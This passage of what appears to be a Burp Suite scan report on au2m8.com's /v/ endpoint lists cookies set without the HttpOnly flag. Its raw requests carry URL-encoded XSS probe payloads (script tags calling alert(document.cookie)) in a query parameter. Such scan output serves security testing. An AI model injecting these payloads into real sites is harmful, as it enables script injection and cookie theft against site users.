Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

15.350. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012366=1297008766; expires=Sun, 06-Feb-2011 17:12:46 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:12:46 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:12:46 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:12:46 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.351. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012549=1297008949; expires=Sun, 06-Feb-2011 17:15:49 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:15:49 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:15:49 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:15:49 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.352. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1296950967=1296947367; expires=Sun, 06-Feb-2011 00:09:27 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 00:09:27 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 00:09:27 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ARPT=NQJKKYS192.168.100.218CKOWJ; countryID=us; bpl1296950890=1296947290; bpl1296950905=1296947305; bpl1296950921=1296947321; bpl1296950936=1296947336; bpl1296950951=1296947351; videoID=expired; auto=expired; playlist=5731; j2playlist=5731

Response

15.353. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297018236=1297014636; expires=Sun, 06-Feb-2011 18:50:36 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 18:50:36 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 18:50:36 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 17:50:36 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.354. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012611=1297009011; expires=Sun, 06-Feb-2011 17:16:51 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:16:51 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:16:51 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:51 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; bpl1297012595=1297008995; bpl1297012601=1297009001; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.355. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297013518=1297009918; expires=Sun, 06-Feb-2011 17:31:58 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:31:58 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:31:58 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:31:58 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=328905&pID=11909&skinName=light&pw=350&ph=250&wmode=window&t=912519&pr=www.kledy.it%2F&psource=www.kledy.it%2F&poR=http%3A%2F%2Fburp%2Fshow%2F67&poS=http%3A%2F%2Fwww.kledy.it%2F%3F44921%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E107b665304c%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; bpl1297012569=1297008969; bpl1297012579=1297008979; bpl1297012585=1297008985; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.356. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297014717=1297011117; expires=Sun, 06-Feb-2011 17:51:57 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:51:57 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:51:57 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:51:57 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.357. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012351=1297008751; expires=Sun, 06-Feb-2011 17:12:31 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:12:31 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:12:31 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:12:31 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3&jr=4&jr=5 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=47379&pID=11909&skinName=light&t=484711&pr=www.kledy.co.uk%2F&psource=www.kledy.co.uk%2F&poR=http%3A%2F%2Fburp%2Fshow%2F64&poS=http%3A%2F%2Fwww.kledy.co.uk%2F%3Fb6885%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E58b3310da99%3D1&jr=1&jr=2&jr=3&jr=4
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.358. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012352=1297008752; expires=Sun, 06-Feb-2011 17:12:32 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:12:32 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:12:32 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:12:32 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/10711909126097144647865.htm?vs=1&r=www.kledy.es%2F&s=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&t=143521
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.359. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297013525=1297009925; expires=Sun, 06-Feb-2011 17:32:05 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:32:05 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:32:05 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:32:05 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.360. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012502=1297008902; expires=Sun, 06-Feb-2011 17:15:02 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:15:02 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:15:02 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:15:02 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1&jr=1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=133331&pID=11909&skinName=light&wmode=window&t=106011&pr=www.kledy.eu%2F&psource=www.kledy.eu%2F&poR=http%3A%2F%2Fburp%2Fshow%2F66&poS=http%3A%2F%2Fwww.kledy.eu%2F%3Ff0d30%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31ed3e6c6d3%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.361. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012569=1297008969; expires=Sun, 06-Feb-2011 17:16:09 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:16:09 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:16:09 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:09 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=39927&pID=11909&skinName=light&t=62092&pr=www.kledy.us%2F&psource=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/50811909125880119639927.htm?vs=1&r=www.kledy.us%2F&s=www.kledy.us%2F&poR=http%3A%2F%2Fburp%2Fshow%2F68&poS=http%3A%2F%2Fwww.kledy.us%2F%3F88099%2522%253E%253Cscript%253Ealert(String.fromCharCode(88%2C83%2C83))%253C%2Fscript%253E31a8b6ec06f%3D1&t=292565
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; bpl1297012352=1297008752; bpl1297012366=1297008766; bpl1297012367=1297008767; bpl1297012383=1297008783; bpl1297012398=1297008798; bpl1297012414=1297008814; bpl1297012429=1297008829; bpl1297012444=1297008844; bpl1297012486=1297008886; bpl1297012502=1297008902; bpl1297012517=1297008917; bpl1297012532=1297008932; bpl1297012533=1297008933; bpl1297012548=1297008948; bpl1297012549=1297008949; bpl1297012563=1297008963; bpl1297012564=1297008964; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.362. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297011707=1297008107; expires=Sun, 06-Feb-2011 17:01:47 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:01:47 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:01:47 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:01:47 GMT; path=/; domain=.au2m8.com

